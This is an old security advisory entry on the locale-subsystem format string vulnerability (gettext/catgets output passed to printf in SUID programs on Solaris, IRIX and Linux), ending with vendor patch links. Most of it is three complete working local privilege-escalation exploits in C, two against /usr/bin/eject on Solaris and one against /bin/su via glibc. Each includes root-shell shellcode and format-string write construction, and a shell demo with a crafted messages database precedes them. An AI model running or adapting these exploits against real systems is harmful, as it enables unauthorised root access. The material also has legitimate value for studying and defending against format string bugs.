COMMAND format bugs SYSTEMS AFFECTED Most systems PROBLEM Following is based on a CORE Security Advisory (CORE-090400). Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information. In particular a database with messages used by almost all the operating system programs is keep for each supported language. The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) (X/Open XPG3 and XPG4 specification). Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions. Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems. Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.) Vulnerable Packages/Systems: - Sun Microsystems Inc. - Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures) - Silicon Graphics Inc. - IRIX 6.2 to 6.5.8 - Linux - RedHat Linux - Debian Linux - Conectiva Linux 4.0 or higher - All supported versions of Conectiva Linux use Glibc 2.1.1 which explicity checks and ignores the NLSPATH environment variable if the catopen() and catgets() functions are called from a SUID executable. Others are suspected to be vulnerable (not checked). Passing unchecked user supplied data as a format string to the printf(3) functions can lead to unexpected changes of flow control and execution of arbitrary code in context of the vulnerable program. The following C program exemplifies the problem described: -----sample.c----- void main(int argc, char **argv) { /* This is proper use */ printf("%s\n",argv[1]); /* This is bad use */ printf(argv[1]); printf("\n"); } In the above example if argv[1] is a string with characters interpreted by printf(3) as formatting characters, the behavior of the program can be altered to execute arbitrary code in a way _similar_ to the exploitation of buffer overflow vulnerabilities: $ cc -o sample sample.c $ ./sample hello hello hello $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n %x%x%x%x%x%n%n%n%n%n%n%n%n%n Memory fault (core dumped) $ Recent posts to computer security lists and related publications provide good reference material to understand the problem and possible ways to exploit it. It has been found that most programs in many popular operating systems suffer from this problem derived from the way the messages database of the locale subsystem is used. In particular, privileged programs (programs with the SUID bit set) that execirse access to the database using the gettext(3) function in a vulnerable manner are directly exploitable and allow an attacker to obtain root privileges instantly. The following code exemplifies a common bad coding practice that makes the cited programs vulnerable: main(int argc, char **argv) { if(argc > 1) { printf(gettext("usage: %s filename\n"),argv[0]); exit(0); } printf("normal execution proceeds...\n"); } Here the output of the gettext(3) function is not validated and passed directly to printf(3). gettext(3) searches the messages database for a message that matches the key "usage: %s filename\n" in the current locale settings and returns it to the caller. A malicious, unprivileged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding formatting characters to printf(3). The problem above is NOT related to the user input to the program but instead to the data contained in the messages database. The following commands demonstrates the problem: $ uname -a SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5 $ ls -l $ ls -l /usr/bin/eject -r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject $ eject -x`perl -e 'print "ABCDEF". "A"x507` eject: illegal option -- x usage: eject [-fndq] [name | nickname] options: -f force eject -n show nicknames -d show default device -q query for media present -p do not call eject_popup $ cat >doit.sh #!/bin/ksh export NLSPATH=:`pwd` echo domain \"messages\" > messages.po echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\" >> messages.po echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po msgfmt messages.po cp messages.mo SUNW_OST_OSCMD cp messages.mo SUNW_OST_OSLIB exec eject -x`perl -e 'print "ABCDEF" . "A"x507'` ^D $ ./doit.sh eject: illegal option -- x effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60 115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008 0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault $ exit As shown, the SUID program 'eject' follows the user directives to use a custom (bogus) messages database. The specific way to do it vary in different operating systems but usually involves the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.) and/or locale library functions (textdomain(3), bindtextdomain(3), etc.) Here is one exploit for locale format bug. It should work in Solaris 2.x: /* "eject" exploit for locale subsystem format strings bug In Solaris * Tested in Solaris 2.6/7.0 * Script kiddies: you should modify this code * slightly by yourself. :) * * Thanks for Ivan Arce <iarce@core-sdi.com>. * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by warning3@nsfocus.com (http://www.nsfocus.com) * y2k/9/8 */ #include <stdio.h> #include <sys/systeminfo.h> #define RETLOC 0xffbefa2c /* default retloc */ #define NUM 95 /* maybe should adjust this number */ #define ALIGN 0 /* If don't work ,try adjust align to 0,1,2,3 */ #define BUFSIZE 2048 /* the size of format string buffer*/ #define EGGSIZE 1024 /* the egg buffer size */ #define NOP 0xfa1d4015 /* "xor %l5, %l5, %l5" */ #define ALIGN1 2 #define VULPROG "/usr/bin/eject" char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09" /* dup2(1,2) */ "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08" "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address to guess Return address */ long get_sp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char retlocbuf[256], *pattern,eggbuf[EGGSIZE],*env[3]; char plat[256], *ptr; long sh_addr, sp_addr, retloc = RETLOC, i, num = NUM; long align=ALIGN, align1=ALIGN1; long *addrptr; long reth, retl; FILE *fp; if( argc > 1 ) sscanf(argv[1],"%x",&retloc); if( argc > 2 ) align = atoi(argv[2]); if( argc > 3 ) num = atoi(argv[3]); addrptr = (long *) retlocbuf; retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff); /* Let's make reloc buffer */ for( i = 0 ; i < 2 ; i ++ ){ *addrptr++ = 0x41414141; *addrptr++ = retloc; retloc += 2; } /* construct shellcode buffer */ memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */ for (i = align; i < EGGSIZE; i+=4) /* fill with NOP */ { eggbuf[i+3]=NOP & 0xff; eggbuf[i+2]=(NOP >> 8 ) &0xff; eggbuf[i+1]=(NOP >> 16 ) &0xff; eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */ } /* Notice : we assume the length of shellcode can be divided exatcly by 4 . If not, exploit will fail. Anyway, our shellcode is. ;-) */ memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode)); //memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */ env[0] = "NLSPATH=:."; env[1] = eggbuf; /* put eggbuf in env */ env[2] = NULL; /* end of env */ /* get platform info */ sysinfo(SI_PLATFORM,plat,256); /* get stack bottom address */ sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* get shellcode address . many thanks to Olaf Kirch. :) * the trailing '8' make sure our sh_addr into "NOP"s area. */ sh_addr = sp_addr - strlen(VULPROG) - strlen(plat) - strlen(eggbuf) - 3 + 8 ; printf("Usages: %s <retloc> <align> <num> <bufsize> \n\n", argv[0] ); printf("Using RETloc address = 0x%x, RET address = 0x%x ,Align= %d\n", retloc, sh_addr, align ); if((pattern = (char *)malloc(BUFSIZE)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } ptr = pattern; for(i = 0 ; i < num ; i++ ){ memcpy(ptr, "%.8x", 4); ptr += 4; } reth = (sh_addr >> 16) & 0xffff ; retl = (sh_addr >> 0) & 0xffff ; sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(reth - num*8), (0x10000 + retl - reth)); printf("%s",pattern); if( !(fp = fopen("messages.po", "w+"))) { perror("fopen"); exit(1); } fprintf(fp,"domain \"messages\"\n"); fprintf(fp,"msgid \"usage: %%s [-fndq] [name | nickname]\\n\"\n"); fprintf(fp,"msgstr \"%s\\n\"", pattern); fclose(fp); system("/usr/bin/msgfmt messages.po"); system("cp messages.mo SUNW_OST_OSCMD"); system("cp messages.mo SUNW_OST_OSLIB"); execle(VULPROG,VULPROG,"-x",retlocbuf + align1, NULL, env); } /* end of main */ Solar Eclipse has written an exploit for the locale vulnerability. It is based on the exploit code by Warning3, but provides an assistance for guessing the shell code parameters. /* Exploit for the locale format string vulnerability in Solaris/SPARC Based on the exploit by Warning3 <warning3@nsfocus.com> For additional information see http://www.phreedom.org/solar/locale_sol.txt By Solar Eclipse <solareclipse@phreedom.org> Assistant Editor, Phreedom Magazine http://www.phreedom.org 10 Oct 2000 */ #include <stdio.h> #include <sys/systeminfo.h> #define NUM 98 /* default number of words to dump from the stack */ #define ALIGN 3 /* default align (can be 0, 1, 2, 3) */ #define RETLOCOFS -16 /* default offset of the return address location */ #define SHELLOFS -6 /* default offset of the jump location from the beginning of the shell buffer */ #define RETLOC 0xfffffffd #define PATTERN 1024 /* format string buffer size */ #define SHELL 1024 /* shell buffer size */ #define NOP 0xac15a16e #define VULPROG "/usr/bin/eject" char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09" /* dup2(1,2) */ "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08" "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address */ long get_sp(void) { __asm__("mov %sp,%i0"); } /* prints a long to a string */ char* put_long(char* ptr, long value) { *ptr++ = (char) (value >> 24) & 0xff; *ptr++ = (char) (value >> 16) & 0xff; *ptr++ = (char) (value >> 8) & 0xff; *ptr++ = (char) (value >> 0) & 0xff; return ptr; } /* check if a long contains zero bytes */ int contains_zero(long value) { return !((value & 0x00ffffff) && (value & 0xff00ffff) && (value & 0xffff00ff) && (value & 0xffffff00)); } /* create the shell buffer */ void create_shellbuf(char* shellbuf, int align, int retloc) { char *ptr; int i; /* check align parameter */ if (align < 0 || align > 3) { printf("Error: align is %d, it should be between 0 and 3\n", align); exit(1); } /* check retloc parameter */ if (contains_zero(retloc) || contains_zero(retloc+2) ) { printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byte\n", retloc, retloc+2); exit(1); } /* start constructing the shell buffer */ ptr = shellbuf; for (i = 0; i < align; i++) { *ptr++ = 0x41; /* alignment padding */ } ptr = put_long(ptr, 0x42424242); /* this is used by the %u format specifier */ ptr = put_long(ptr, retloc); /* put the address of the low order half-word of the return address on the stack */ ptr = put_long(ptr, 0x42424242); /* this is used by the %u format specifier */ ptr = put_long(ptr, retloc + 2); /* put the address of the high order half-word of the return address on the stack */ /* fill the shellbuf with NOP instructions but leave enough space for the shell code */ while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) { ptr = put_long(ptr, NOP); } memcpy(ptr, shellcode, strlen(shellcode)); /* copy the shellcode */ ptr = ptr + strlen(shellcode); /* add additional padding to the shell buffer to make sure its size is always the same */ while ((long)ptr < (long)shellbuf + SHELL - 1) { *ptr++ = 0x41; } *ptr = 0; /* null-terminate */ /* at this point the shell buffer should be exactly SHELL bytes long, including the null-terminator */ if (strlen(shellbuf) + 1 != SHELL) { printf("Error: The shell buffer is %d bytes long. It should be %d bytes. Something went terribly wrong...\n", strlen(shellbuf)+1, SHELL); exit(1); } return; } /* execute the vulnerable program using our custom environment */ void execute_vulnprog(char* pattern, char* shellbuf) { char *env[3]; FILE *fp; /* create message files */ if (strlen(pattern) > 512) { printf("Warning: The pattern is %d bytes long. Only the first 512 bytes will be used.\n", strlen(pattern)); } if ( !(fp = fopen("messages.po", "w+")) ) { perror("Error openning messages.po for writing."); exit(1); } fprintf(fp, "domain \"messages\"\n"); fprintf(fp, "msgid \"usage: %%s [-fndq] [name | nickname]\\n\"\n"); fprintf(fp, "msgstr \"%s\\n\"", pattern); fclose(fp); system("/usr/bin/msgfmt messages.po"); system("cp messages.mo SUNW_OST_OSCMD"); system("cp messages.mo SUNW_OST_OSLIB"); /* prepere the environment for the VULNPROG process */ env[0] = "NLSPATH=:."; env[1] = shellbuf; /* put the shellbuf in env */ env[2] = NULL; /* end of env */ /* execute the vulnerable program using our custom environment */ execle(VULPROG, VULPROG, "-x", NULL, env); } /* print the program usage */ void usage(char *prg) { printf("Usage:\n"); printf(" %s [command] [options]\n\n", prg); printf("Commands:\n"); printf(" dump Dumps the stack\n"); printf(" shell Dumps the shell buffer\n"); printf(" exploit Exploits /usr/bin/eject\n\n"); printf("Options:\n"); printf(" --num=96 Number of words to dump from the stack\n"); printf(" --align=2 Sets the alignment (0, 1, 2 or 3)\n"); printf(" --shellofs=-6 Offset of the shell buffer\n"); printf(" --retlocofs=-4 Retloc adjustment (must be divisible by 4)\n"); printf(" --retloc=0xeffffa3c Location of the return address\n"); exit(0); } /* main */ main(int argc, char **argv) { char shellbuf[SHELL], pattern[PATTERN], platform[256]; char *ptr; long sp_addr, sh_addr, jmp_addr, reth, retl; int num = NUM, align = ALIGN, shellofs = SHELLOFS, retlocofs = RETLOCOFS, retloc = RETLOC; int i; int dump = 0, shell = 0, exploit = 0; /* read the exploit arguments */ if (argc < 2) { usage(argv[0]); } if (!strncmp(argv[1], "dump", 4)) { dump = 1; } else if(!strncmp(argv[1], "shell", 5)) { shell = 1; } else if(!strncmp(argv[1], "exploit", 7)) { exploit = 1; } else { usage(argv[0]); } for (i = 2; i < argc; i++) { if ( (sscanf(argv[i], "--align=%d", &align) || sscanf(argv[i], "--num=%d", &num) || sscanf(argv[i], "--shellofs=%d", &shellofs) || sscanf(argv[i], "--retlocofs=%d", &retlocofs) || sscanf(argv[i], "--retloc=%x", &retloc))== 0) { printf("Unrecognized option %s\n\n", argv[i]); usage(argv[0]); } } /* create the shell buffer */ create_shellbuf(shellbuf, align, retloc); /* calculate memory addresses */ sysinfo(SI_PLATFORM, platform, 256); /* get platform info */ sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* get stack bottom address */ sh_addr = sp_addr - (strlen(VULPROG)+1) - (strlen(platform)+1) - (strlen(shellbuf)+1) + shellofs; /* sh_add now points to the beginning of the shell buffer */ printf("Calculated shell buffer address: 0x%x\n", sh_addr); if (shell == 1) { put_long(&shellbuf[align], sh_addr); /* put sh_addr on the stack */ } if ( ((sh_addr + align) & 0xfffffffc) != (sh_addr + align) ) { printf("Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessary\n"); } if (retloc == RETLOC) { /* if retloc was not specified on the command line, calculate it */ retloc = sh_addr + align - num*4 + retlocofs; printf("Calculated retloc: 0x%x\n", retloc); put_long(&shellbuf[align+4], retloc); put_long(&shellbuf[align+12], retloc+2); } jmp_addr = (sh_addr + align) + 64; /* Calculate the shell jump location */ printf("Calculated shell code jump location: 0x%x\n\n", jmp_addr); /* create the format string */ ptr = pattern; for (i = 0; i < num; i++) { memcpy(ptr, "%.8x", 4); ptr = ptr + 4; } if (dump == 1) { *ptr = 0; /* null-terminate */ printf("Stack dump mode, dumping %d words\n", num); } else if (shell == 1) { sprintf(ptr, " Shell buffer: %%s"); printf("shellbuf (length = %d): %s\n\n", strlen(shellbuf)+1, shellbuf); printf("Shell buffer dump mode, shell buffer address is 0x%x\n", sh_addr); } else { reth = (jmp_addr >> 16) & 0xffff; retl = (jmp_addr >> 0) & 0xffff; sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - num * 8), (retl - reth)); printf("Exploit mode, jumping to 0x%x\n", jmp_addr); } printf("num: %d\t\talign: %d\tshellofs: %d\tretlocofs: %d\tretloc: 0x%x\n\n", num, align, shellofs, retlocofs, retloc); /* execute the vulnerable program using our custom environment */ execute_vulnprog(pattern, shellbuf); } The problem however stems from bad coding practices in the operating system's programs: - A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory. - Output of gettext(3) should not be passed as a format string directly to printf(3) functions. 'Warning3' wrote an exploit for testing the glibc/locale format string vulnerability. It is tested in RedHat 6.2 with kernel 2.2.16. /* exploit for glibc/locale format strings bug. * Tested in RedHat 6.2 with kernel 2.2.16. * Script kiddies: you should modify this code * slightly by yourself. :) * * Greets: Solar Designer, Jouko Pynnvnen , zenith parsec * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by warning3@nsfocus.com (http://www.nsfocus.com) * y2k/9/6 */ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define DEFAULT_OFFSET 550 #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbfffd250 #define DEFAULT_BUFFER_SIZE 2048 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 #define PATH "/tmp/LC_MESSAGES" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *buff1, *ptr, *egg; char *env[3]; long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int i,reth,retl,num=111; FILE *fp; if (argc > 1) sscanf(argv[1],"%x",&retloc); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) num = atoi(argv[3]); if (argc > 4) align = atoi(argv[4]); if (argc > 5) bsize = atoi(argv[5]); if (argc > 6) eggsize = atoi(argv[6]); printf("Usages: %s <RETloc> <offset> <num> <align> <buffsize> <eggsize> \n",argv[0]); if (!(buff = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(buff1 = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; printf("Using Shellcode address: 0x%x\n", shell_addr); reth = (shell_addr >> 16) & 0xffff ; retl = (shell_addr >> 0) & 0xffff ; ptr = buff; for (i = 0; i <2 ; i++, retloc+=2 ){ memset(ptr,'A',4); ptr += 4 ; (*ptr++) = retloc & 0xff; (*ptr++) = (retloc >> 8 ) & 0xff ; (*ptr++) = (retloc >> 16 ) & 0xff ; (*ptr++) = (retloc >> 24 ) & 0xff ; } memset(ptr,'A',align); ptr = buff1; for(i = 0 ; i < num ; i++ ) { memcpy(ptr, "%.8x", 4); ptr += 4; } sprintf(ptr, "%%x%%%uc%%hn%%%uc%%hn",(retl - num*8), (0x10000 + reth - retl - 6)); mkdir(PATH,0755); chdir(PATH); fp = fopen("libc.po", "w+"); fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n"); fprintf(fp,"msgstr \"%s\\n\"", buff1); fclose(fp); system("/usr/bin/msgfmt libc.po -o libc.mo"); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = "LANGUAGE=sk_SK/../../../../../../tmp"; env[2] = (char *)0 ; execle("/bin/su","su","-u", buff, NULL,env); } /* end of main */ SOLUTION OpenBSD and FreeBSD are not vulnerable to this. Debian: http://security.debian.org/dists/stable/updates/main/source/glibc_2.1.3-13.diff.gz http://security.debian.org/dists/stable/updates/main/source/glibc_2.1.3-13.dsc http://security.debian.org/dists/stable/updates/main/source/glibc_2.1.3.orig.tar.gz http://security.debian.org/dists/stable/updates/main/binary-all/glibc-doc_2.1.3-13_all.deb http://security.debian.org/dists/stable/updates/main/binary-all/i18ndata_2.1.3-13_all.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libc6.1-dbg_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libc6.1-dev_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libc6.1-pic_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libc6.1-prof_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libc6.1_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/libnss1-compat_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/locales_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/nscd_2.1.3-13_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-arm/libc6-dbg_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/libc6-dev_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/libc6-pic_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/libc6-prof_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/libc6_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/locales_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/nscd_2.1.3-13_arm.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libc6-dbg_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libc6-dev_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libc6-pic_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libc6-prof_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libc6_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/libnss1-compat_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/locales_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/nscd_2.1.3-13_i386.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/libc6-dbg_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/libc6-dev_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/libc6-pic_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/libc6-prof_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/libc6_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/locales_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/nscd_2.1.3-13_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/libc6-dbg_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/libc6-dev_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/libc6-pic_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/libc6-prof_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/libc6_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/locales_2.1.3-13_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/nscd_2.1.3-13_sparc.deb http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211-6.3.diff.gz http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211-6.3.dsc http://security.debian.org/dists/slink/updates/source/glibc_2.0.7.19981211.orig.tar.gz http://security.debian.org/dists/slink/updates/binary-i386/libc6-dbg_2.0.7.19981211-6.3_i386.deb http://security.debian.org/dists/slink/updates/binary-i386/libc6-dev_2.0.7.19981211-6.3_i386.deb http://security.debian.org/dists/slink/updates/binary-i386/libc6-pic_2.0.7.19981211-6.3_i386.deb http://security.debian.org/dists/slink/updates/binary-i386/libc6_2.0.7.19981211-6.3_i386.deb http://security.debian.org/dists/slink/updates/binary-i386/locales_2.0.7.19981211-6.3_i386.deb http://security.debian.org/dists/slink/updates/binary-i386/timezones_2.0.7.19981211-6.3_i386.deb For Conectiva Linux: ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/glibc-2.1.2-14cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/glibc-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/glibc-devel-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/glibc-profile-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/nscd-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/glibc-2.1.2-14cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/glibc-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/glibc-devel-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/glibc-profile-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/nscd-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/glibc-2.1.2-14cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/glibc-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/glibc-devel-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/glibc-profile-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/nscd-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/glibc-2.1.2-14cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/glibc-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/glibc-devel-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/glibc-profile-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/nscd-2.1.2-14cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/glibc-2.1.3-10cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/glibc-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/glibc-devel-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/glibc-profile-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/nscd-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/glibc-2.1.3-10cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/glibc-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/glibc-devel-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/glibc-profile-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/nscd-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/glibc-2.1.3-10cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/glibc-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/glibc-devel-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/glibc-profile-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/nscd-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/glibc-2.1.3-10cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/glibc-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/glibc-devel-2.1.3-10cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/glibc-profile-2.1.3-10cl.i386.rpm 